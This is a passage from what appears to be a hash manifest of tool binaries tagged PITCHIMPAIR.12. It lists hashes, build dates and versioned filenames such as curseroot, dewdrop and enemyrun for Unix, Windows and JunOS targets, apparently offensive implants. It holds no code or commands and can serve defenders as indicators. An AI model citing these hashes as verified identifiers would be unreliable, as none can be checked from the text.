16:56:59 2010 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.6.0.0.1 +00D54B5F950A377E900B64B565DA58FD014EB672 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.6.1.0.1 +8CA41956ED63025C8760F3EBD4B704F7C7CB7F70 Wed Jan 2 21:34:56 2008 [PITCHIMPAIR.12] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +6485249152B9A0DCC327D80F400275CA0703773C Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.win2k_v.6.0.0.1 +E79BCE98D9F64ED71CFCA7C6C507FC7723F9861A Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.win2k_v.6.1.0.1 +0D42734F8F15EDFFB3B73A6DFDE6FC60DC2FC045 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.aix5.1_v.2.1.0.2 +05D9935E7D3B62EF3A1DC3E5CA06B0DA58787995 Thu Aug 6 14:57:59 2009 [PITCHIMPAIR.12] cursehelper.hp-uxb.11.00_v.1.1.0.1 +2B6ABB47B4C5DF369A794A6FED08CD476470C9FC Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.hpux11.00_v.2.1.0.2 +E9E9EE03E063BE329F2F72FBF4E4A666CEC9AA62 Thu Aug 6 14:58:09 2009 [PITCHIMPAIR.12] cursehelper.sunos5.8_v.1.1.0.1 +0D151AB49A9974844A0089B9C576AA6218479512 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.sunos5.8_v.2.1.0.2 +AA227C89ACE731945DC53ACF7DC90DECB4C2DBE4 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.win2k_v.2.1.0.2 +100CD2DD37B8E94CAB80AA62AB52D280075AF9B9 Wed Jun 11 18:30:26 2008 [PITCHIMPAIR.12] cursehole.v1.0.0.6.sunos5.9_v.solaris_9 +05C9C15D028FCB775D8131339FCA9BF35429B01C Fri Sep 26 15:54:20 2008 [PITCHIMPAIR.12] cursehole.v1.1.0.3.aix5.1_v.aix_51 +40829E57EC1CE506E3B2BF681AB1DD7C6216B864 Mon Aug 17 18:47:42 2009 [PITCHIMPAIR.12] cursehole.v1.1.1.1.aix5.1_v.aix_51 +E7950DEE4159585B117056C3A41BD677687F1747 Wed Jan 2 22:23:15 2008 [PITCHIMPAIR.12] cursehummer.hp-uxb.11.11_v.1.0.0.11 +E5D9850E1BCF7C7B1DD40128EFEB4087E9468AF7 Thu Jun 28 18:46:46 2007 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.00_v.6.0.0.6 +2D3FF8ED7B3E3D4C3F2504845648E613893000E4 Wed Feb 18 11:36:47 2009 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.00_v.6.1.0.2 +6BD65C84C0C55D59FF5F561BA1FF2CDA897C992B Thu Jun 28 18:47:52 2007 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.11_v.6.0.0.6 +311AFCA87D343B8DF9F38D7933DFA509E2966D30 Thu Feb 5 13:49:56 2009 [PITCHIMPAIR.12] cursehydrant.sunos5.8_v.6.1.0.2 +925475C5D2A5D4A85C78F934DDF06E596A7ABAF3 Tue Nov 10 11:29:38 2009 [PITCHIMPAIR.12] cursejoker.aix5.1_v.1.0.0.4 +E60CDF1037A260DE386C7AD7807A934EB0CDA592 Fri May 1 14:32:25 2009 [PITCHIMPAIR.12] cursekettle.sunos5.8_v.1.0.0.2 +ED00A5537A9F0CD8E7E58F6693C607BB33AD7748 Mon Jun 13 18:20:20 2011 [PITCHIMPAIR.12] cursekiln.sunos5.8_v.1.0.0.2 +A0B41C0CFCE32EFB02A72D290265BE0D0E9AFC11 Mon Sep 29 17:58:40 2008 [PITCHIMPAIR.12] curselion.aix.5.1_v.1.0.0.10 +26EB533FA7E3EA9559FD71E3B6C470497C3B25F4 Wed Apr 21 16:15:46 2010 [PITCHIMPAIR.12] cursemagic.aix5.1_v.2.0.1.1 +5BD539E66B8EFBC1E6077F22F3CC850E9487222D Wed Apr 21 16:15:41 2010 [PITCHIMPAIR.12] cursemagic.hpux11.00_v.2.0.1.1 +DAC7B3214478A845B86D1E91915E33575C93A13C Thu Dec 18 19:06:03 2008 [PITCHIMPAIR.12] cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 +74C08F1BD4008954E028181E7BE9B51DDE95B2BD Tue Apr 14 18:41:05 2009 [PITCHIMPAIR.12] cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 +9BD3FEB3AE384C1592ACC5FEC2B0F8BB740BC405 Fri Apr 9 10:40:04 2010 [PITCHIMPAIR.12] cursemagic.linuxrh7.3_v.2.0.0.1 +F3D41481F353EE9AC9ED9777F12FFFBAEB814C7F Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.12] cursemagic.linuxrh7.3_v.2.0.1.1 +6C5D7A56FCDB65792E05D2DBD9631978511D5F1F Fri Nov 6 12:41:52 2009 [PITCHIMPAIR.12] cursemagic.rhl7.3_v.1.3.0.5 +230335E9756A226A95B86C8EA709320959A3AFE5 Fri Apr 9 10:37:34 2010 [PITCHIMPAIR.12] cursemagic.solaris5.8_v.2.0.0.1 +FB1B509AB5167368EE71CA93EECFAAD66D4765C1 Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.12] cursemagic.solaris5.8_v.2.0.1.1 +1A482796010B00C24BCD30A3F790571DEFE65443 Tue Jan 23 15:15:39 2007 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.0.0.0 +26493B4EC53AC10B1A920CE7469335B999DEF1A1 Wed Sep 19 12:28:08 2007 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.1.0.3 +CF983C394CBA918C8EE1362FA82C9EB9A49EFE72 Thu Dec 18 19:09:11 2008 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.2.0.2 +7A5A909B508E97EF52954DB6D3F1F5F0021390EA Tue Apr 14 18:41:15 2009 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.3.0.5 +26760620759A575F03DB3811EBF0E3E3698CF44F Wed Sep 19 12:28:40 2007 [PITCHIMPAIR.12] cursemagic.sunos5.9_v.1.1.0.3 +5DD669543CDF1C080324BE347E838C8EA9E5FE80 Fri Aug 6 14:27:12 2010 [PITCHIMPAIR.12] cursenag.sunos5.8_v.1.0.0.1 +D63912E862CAAC386EDF1581CC57D28DC88CBF00 Thu Jul 15 15:49:59 2010 [PITCHIMPAIR.12] cursequake.sunos5.8_v.1.0.0.2 +C45D7E21D425B5DFEEBB35F030101D0CE8102EFE Tue Jun 28 16:49:46 2011 [PITCHIMPAIR.12] cursequake.sunos5.8_v.1.1.0.4 +D4F511AA47D7C82A2D7BA76B73870C0A50F10FC4 Fri Jan 16 20:35:21 2009 [PITCHIMPAIR.12] curserazor.mswin32_v.1.3.0.5 +8A9C7309001627AD6463D192907453859C113705 Thu Mar 26 12:52:26 2009 [PITCHIMPAIR.12] curserazor.mswin32_v.1.3.1.8 +D02B913D9566369278A77F9F6C3BB268509C2E8E Mon Mar 12 21:15:54 2007 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.1 +C258267401EFA2A493E750D6E2F94AF05C9973A2 Thu Mar 6 19:50:10 2008 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.1.1.1 +1650D59B59E3749562571534A043AFB3FF05BA1D Mon Aug 4 15:49:51 2008 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.2.0.7 +DB3ECC5696D3785D362B0B235845EB27F6FC304C Fri Jan 16 20:35:37 2009 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.3.0.5 +62722FCEE8CB2048FE74B92FD97DF49270FE0066 Thu Mar 26 12:52:35 2009 [PITCHIMPAIR.12] curserazor.sunos5.8_v.1.3.1.8 +CE2AB103A224872A374EBD6AD16C0C63C2A82823 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.12] curserazor.sunos5.8_v.2.0.0.5 +1F36611F0A9E1B9BCF9BDE6E983FBABE628D7F33 Tue Apr 12 13:40:06 2011 [PITCHIMPAIR.12] curserazor.sunos5.8_v.2.0.1.1 +349885662B4C89A399DE5C5CC96BFFC394911E77 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.12] curserazor.win2k_v.2.0.0.5 +BB8E43C87C436F886F515BCF1439CB214C6FC726 Tue Apr 12 13:40:06 2011 [PITCHIMPAIR.12] curserazor.win2k_v.2.0.1.1 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.1.2.0.2 +6438D10D5FC4D9C349B0BFA38EFD0ED5D328E6A4 Tue May 19 18:51:00 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.1.2.2.9 +D5A0ED87A0E5029AA0A8568EFD2F8ACFEFC0DC2E Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.2.0.0.3 +63BD0E5F8C55B62BA0927D6578E53167CD369387 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.aix5.1_v.2.1.0.8 +3CF20147D62A8E021734AC42F0246E0F6B83E0DB Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.hpux11.00_v.2.1.0.8 +7466C5ED2265CA3A9C20B400FB2F848BD45A5B09 Wed Jan 6 19:52:30 2010 [PITCHIMPAIR.12] curseroot.hpuxb.11.00_v.2.0.0.3 +322B5DF8813723004AA6E91F541DEB4D510030FA Wed Jun 17 10:44:18 2009 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 +201F963039FDED3AA70DE84AF5DCCF47541C14DF Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 +FC8BF37C34ABD5D0E121775795B01EB5AD2A6BD0 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.2.1.0.8 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.12] curseroot.mswin32_v.1.2.0.2 +8A3EB497162EB18437EB85DE95AD11B66B7446D6 Tue May 19 18:51:10 2009 [PITCHIMPAIR.12] curseroot.mswin32_v.1.2.2.9 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.1.2.0.2 +79D951876AA687ED8039D6B8A194F8DCDC0C02E1 Tue May 19 18:51:20 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.1.2.2.9 +F992E901527ECEE524CDA9BA5F0C8F70942DB4CB Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.2.0.0.3 +9FED741DCC06376ADDF0328F72718E8F1CD5C8A0 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.sunos5.8_v.2.1.0.8 +A268B392B04210156950928B9FC80674E1BBAF3B Tue Aug 7 20:46:37 2007 [PITCHIMPAIR.12] curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 +8C056E61D9379D4981F38BDC65F4344A7A2CC959 Tue Aug 7 20:47:08 2007 [PITCHIMPAIR.12] curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.mswin32_v.1.2.0.1 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 +7992D84590400AEA7ACCC172402AC497889A4491 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.win2k_v.2.0.0.3 +9B6FC19EE920D26B7EA8F7E1B27BFF5F0BA18ABC Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.win2k_v.2.1.0.8 +F2814EB93164076B0DB67CCC8EDF865609524CFD Tue Oct 26 16:47:40 2010 [PITCHIMPAIR.12] curseroot_flx.win2k.i686_v.1.0.0.4 +B310FEDF0D9B19C58AAE2B35ACA73A292558D702 Thu Jul 3 14:57:47 2008 [PITCHIMPAIR.12] cursesleepy.mswin32_v.1.0.0.5 +7060A7B90CDEE01ED2EC5F2088FF3E280844DCE3 Thu Feb 18 20:59:37 2010 [PITCHIMPAIR.12] cursetails.aix5.1_v.1.0.0.1 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.1 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.1.updated +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.2 +F7EA435175DEE6B6D9017120781FB5CB99CF5CD2 Thu Sep 18 16:41:49 2008 [PITCHIMPAIR.12] cursetingle.aix.5.1_v.1.1.1.1 +08E4FF1E990A02810623A37796B9FB82D6655F25 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.aix.5.1_v.2.0.0.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.aix5.1_v.2.0.1.1 +D7F9D7433CB9E3F14C6640DE19DFCCD2CB6C295C Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.12] cursetingle.mswin32_v.1.0.0.7 +9B6399503D696C83D6EA4073321A20E84B354EAE Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.mswin32_v.2.0.0.1 +41DC7887C46CCDEA6A771FF0201E29193754FCCF Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.12] cursetingle.sunos.5.9_v.1.0.0.7 +EB36543FF084B04AEE005D848EE3A9568A6674CA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.sunos5.8_v.2.0.0.1 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.sunos5.8_v.2.0.1.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.aix5.1_v.2.0.1.1.updated +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.aix5.1_v.2.0.1.2 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.sunos5.8_v.2.0.1.1.updated +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.sunos5.8_v.2.0.1.2 +C8C5F054286140C25FC96F82F099D76D67E136ED Thu Jul 22 13:02:03 2010 [PITCHIMPAIR.12] cursetingle_flx.aix5.1.powerpc_v.1.0.0.9 +8ABAC3C15A23BA4DDCD52114F96B4BB740EFF6B3 Wed Jun 1 14:13:18 2011 [PITCHIMPAIR.12] cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 +2D05D3842733B74764362F4117212F3D39E4610D Thu Jan 7 13:12:25 2010 [PITCHIMPAIR.12] curseyo.win2k_v.1.0.0.1 +8849F4B7B2DD9F106BB1499D9474E9BEE5FF3C64 Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.0.0.1 +52432EFB738D4EE975D1064BFCB0E73195991C04 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.1.0.3 +6BCA7BFF280DCB01D708286E376410C438B6F9B4 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.2.1.1 +D01B0DBD4496AB9C47E64272AA01EC8AAFC6D84D Tue Jul 19 16:43:11 2011 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.2.0.0.2 +BC7C9839441097E8D1DA64E9864D0474F2452572 Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.0.0.1 +6E4C1302C79A610EBFA3B24BBAAFA67F438D865B Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.1.0.3 +9A6B894B022E311F059EFB50DDB656CEF014DF64 Wed Oct 13 12:39:38 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.2.0.1 +F6567080A506403DFA7399AA4EBCE64DD9DCDD52 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.2.1.1 +23D1A5F85A02ECDBF14FE77A7D9C256AE63A1053 Tue Jul 19 16:43:11 2011 [PITCHIMPAIR.12] cursezinger.win2k_v.2.0.0.2 +A58C9E3E5B1AC639A6984D1CA271C568C2AFDCE3 Thu Apr 14 13:12:18 2011 [PITCHIMPAIR.12] cursezinger_flx.win2k.i686_v.1.0.0.2 +F21556577E712CFDBD82DAFABD565FF2F06AAB77 Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.1.3_i386-pc-solaris +06B35B3FF3B5560076DF2FB1DB37241903B3205A Fri Jun 13 19:30:15 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.11.1_hppa2.0w-hp-hpux11.11 +508992D43CF9EBAA835E13B985689A7A13418D07 Tue Oct 28 23:56:50 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.12.1_x86-freebsd +F456EDCE216C434B0EAADBB6999713DDB2F2C9C9 Tue Oct 28 23:57:00 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.13.1_sparc64-freebsd +D3F3FCD1CF4B8C670D6E200442554BF9B39110E5 Tue Dec 9 01:39:13 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.1_sparc-sun-solaris +65286FD19C15084371A547169B376B4057643612 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.2_x86-linux +78AA72172506B4FEBF10332AFEAF3AF4520603C3 Sat Dec 13 01:44:35 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.3_x86_64-linux +3D53822488B7BF47748F7539114940920AE19CB4 Thu Jun 18 00:12:09 2009 [PITCHIMPAIR.12] dewdrop__v__3.0.16.1_x86-junos-8.5 +9DC8D16026D50DD0DC6132505D2649F21B2E0FC8 Wed May 2 19:51:30 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.1_sparc-sun-solaris +8F3AADCDAD6633C9D61DFF4264CDE0D527256332 Wed May 2 19:52:04 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.2_x86-linux +AC64CB1DF0DF41576E4F6D6D3B7DA0B9DF8FF81C Wed May 2 19:52:49 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.3_i386-pc-solaris +8AF03054800215229013A659C3AF3A29832228CF Wed Aug 8 15:44:54 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.5_x86-freebsd-6.2 +864669F4677A2252F4BC3C7C0058AE280C6270A6 Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.6.1_sparc-sun-solaris +76BCA4612317018FC74D307E39A1FC177E4AE6EF Wed Sep 19 19:07:20 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.6.2_sparc-sun-solaris2.7 +A15F96C0CF6327EA9B49E2B56709D74A013673B3 Thu Nov 29 01:14:50 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.7.1_sparc-sun-solaris +46FDE6D3D52D36ADA7C5223957279AC470CFE45F Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.7.2_x86-freebsd-6.2 +C4932A0A84653F87302EE7D8A79571FF7E75C512 Fri Feb 8 23:33:11 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.1_x86-linux +0070CD4691DA3729DBCDAB68CA2A2272860FD682 Sat Feb 9 04:38:28 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.2_sparc-sun-solaris +5E50EC1D2A2E72C98AC37FA0AF22C4E49383B785 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.3_i386-pc-solaris +A96C5B8979ACD73DAEADE1CEDF99451F4071000F Sat Feb 9 05:54:46 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.4_sparc-sun-solaris2.7 +1900F92CAC4CF7A0C03F9F6ADB74016B6DE4183A Thu Feb 28 22:10:12 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.1_x86_64-linux +34DF2F3A3F16508EB757137EBAC74D6A49244E8E Fri Mar 7 13:03:04 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.2_x86-freebsd-6 +A1B5526261076B61BC971C9B4D8C3859EE4F76EF Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.3_x86-freebsd-5 +EB7B408650C18341B1D0EFB17A42ECA87C229698 Tue Oct 20 17:28:25 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.1.2_x86-junos +233FAC7D6148DF457387A18FBBC78B3FB86E4D5C Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.1_x86-linux +33B597FAFD224879AB0DD9D5FDF91B1257B539BD Fri Oct 30 23:11:51 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.3_sparc-sun-solaris +9C91B749995FC06E9C667A294E62262A30FB2B65 Fri Oct 30 23:14:11 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.4_x86-freebsd +2D9546346FB4EB3F02D7B1F8298F4BC4B0EEACC7 Fri Nov 13 22:08:41 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.5_x86_64-linux +7C04AE4E1E7812715A51FA84D46506DA0754F637 Wed Nov 18 19:55:45 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.6_i386-pc-solaris +A7C7A92D479DA534D62883FB334FD876F2D2F009 Thu Nov 19 20:41:38 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.7_sparc-sun-solaris2.7 +BE038483277659D146ADA15647D40BD8A801CD4D Tue Mar 9 22:30:03 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.6.1_x86-linux +A2A0715E64D9727B0CE4F2288B39CB0DA523F9E6 Tue Mar 30 13:50:49 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.7.2_x86_64-linux +AD2747C358E02A45E9D7726C7CBDB98D6199BBA8 Thu May 6 16:38:03 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.1_x86-linux +E2D1FFD5F36655EC7221B60DFC566A00A32A63BA Thu May 6 15:23:15 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.2_x86_64-linux +D2FE64432606C98E73414B994902508FA07F4176 Thu Sep 9 12:41:48 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.3_ia64-hp-hpux11.23 +C50DD26C008F52046F3F3127C3E8921F2F682343 Fri Sep 3 21:38:44 2010 [PITCHIMPAIR.12] dewdrop__v__3.2.0.1_x86_64-freebsd +33C1FAAB5DC19FBC3050E74F87E67526BC9FD325 Fri Feb 11 21:31:01 2011 [PITCHIMPAIR.12] dewdrop__v__3.2.1.1_x86-junos +A34D477291C7D3B79899C2761973D3746AA716FF Wed Oct 14 17:39:58 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.1_i386-linux +D01451E5E34FCFE4E2F3BB35E3E56A3B0AD7706E Wed Oct 14 17:41:01 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.2_sparc-solaris8-10 +D01451E5E34FCFE4E2F3BB35E3E56A3B0AD7706E Thu Oct 15 19:02:54 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.3_sparc-solaris-gcc +6A11F1FF7FCE422E99EE84A054D51C25E587CA9E Thu Oct 15 19:03:10 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.4_i386-freebsd-gcc +BA39E8C3D9B53F4B99D417664C2CB168DACD24FB Thu Oct 15 19:11:28 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.X_README +B3D73B297EAD170FF794200BBD937559273B827E Tue Nov 21 13:22:42 2006 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.2.0 +995E8CB7297D918ADCF2CC73DE3E02870F2E2610 Thu Jun 14 15:14:47 2007 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.2.3.1.3 +8925A64B042AC51FD9D8112D10269CBDE6A60C8D Thu Aug 7 18:32:21 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.3.0.0.1 +18B57F98F1D17260E732E3BCA7C4741F29E20F04 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.3.1.1.4 +C10D0DACA133484602A4CEE0731CBDD0C1F91614 Tue Nov 21 13:23:59 2006 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.2.0 +95F0010C4DAC390B86A1BC8AC750B9FB09B127F1 Wed Mar 12 16:24:55 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.2.3.2.2 +778D0D1B0881148C9A2429EC53BAC7F462D4E448 Thu Aug 7 18:32:30 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.3.0.0.1 +FE6472A06744737187AB6BF9C541362DFB13C615 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.hpux11.00.parisc_v.3.2.0.1 +CE204B19B57D06E68C8BAB5705F87E35732C4FE6 Thu Jan 29 16:38:35 2009 [PITCHIMPAIR.12] enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 +88F63349411F0263B58E96E96AA1701AFF29D5C5 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 +A9B5F528CA6D7C07C8A886AE6600309C7D92BE2A Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.linuxrhe3.6.i686_v.3.2.0.1 +1795F7CBDD912BC708C10543B865A81116A79022 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.linuxrhl7.3.i686_v.3.2.0.1 +24BB76B1F4760BFF5A11BE9E64A7875A3B2BAAED Mon Nov 9 12:33:26 2009 [PITCHIMPAIR.12] enemyrun.rhl7.3_v.3.1.1.5 +2E145764FB52ED774AFCDFDB9B802587367901FF Tue Apr 13 11:38:33 2010 [PITCHIMPAIR.12] enemyrun.sunos.8.i386_v.3.1.1.6 +236D1446715D6794E6D4218A61F975AF284A3983 Thu Aug 7 18:32:38 2008 [PITCHIMPAIR.12] enemyrun.sunos5.10_v.3.0.0.1 +F1DA6A10245538A9DA6801B0610EED697B9544E9 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.sunos5.8.i386_v.3.2.0.1 +64E154C2E4E8AE0FC8C6B3E647689A478ADA868E Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.sunos5.8.sparc_v.3.2.0.1 +F1E00D94CAC9377546FB1E0172A1316A0F5C0D0C Tue Nov 21 13:24:25 2006 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.0 +20439C65F4866385D9F21C7D46CD2585B7B9B04C Thu Mar 8 21:22:28 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.2 +2F25A62C3FEE96EA5701EEBD44D0B059B68A9A38 Wed Apr 11 19:57:36 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.3 +BD2E4B80BCA2E0448A10B49C9211E962C7F531BA Thu Jun 14 15:15:32 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.3.1.3 +9CEA4BD6BC1CE05D92DDBFF0EA69906834F4C94B Thu Aug 7 18:33:09 2008 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.3.0.0.1 +C46F5A9FB3621E1979B7B270C2C06AA85AA71271 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.3.1.1.4 +2045B10C07F3EBF465F3E438D4F1FDA503FC404A Tue Nov 21 13:24:51 2006 [PITCHIMPAIR.12] enemyrun.sunos5.9_v.2.0 +C716B4A5127803FDFD1350172AF279D7CBB0452A Thu Aug 7 18:33:19 2008 [PITCHIMPAIR.12] enemyrun.sunos5.9_v.3.0.0.1 +D893E731F29164C7FABF6F3096BA8548A314AADF Wed Apr 2 19:58:32 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 +5DBDF318FC7A3B25620641BF56A19E938A296B51 Wed Apr 2 20:05:08 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 +F58F23357B7F6516ACAF7576FA1C8563D4958415 Wed Apr 2 20:00:36 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 +B1A7F0711AD6F92C1C99B0CDAAF853DC5B480C84 Wed Apr 2 20:03:42 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 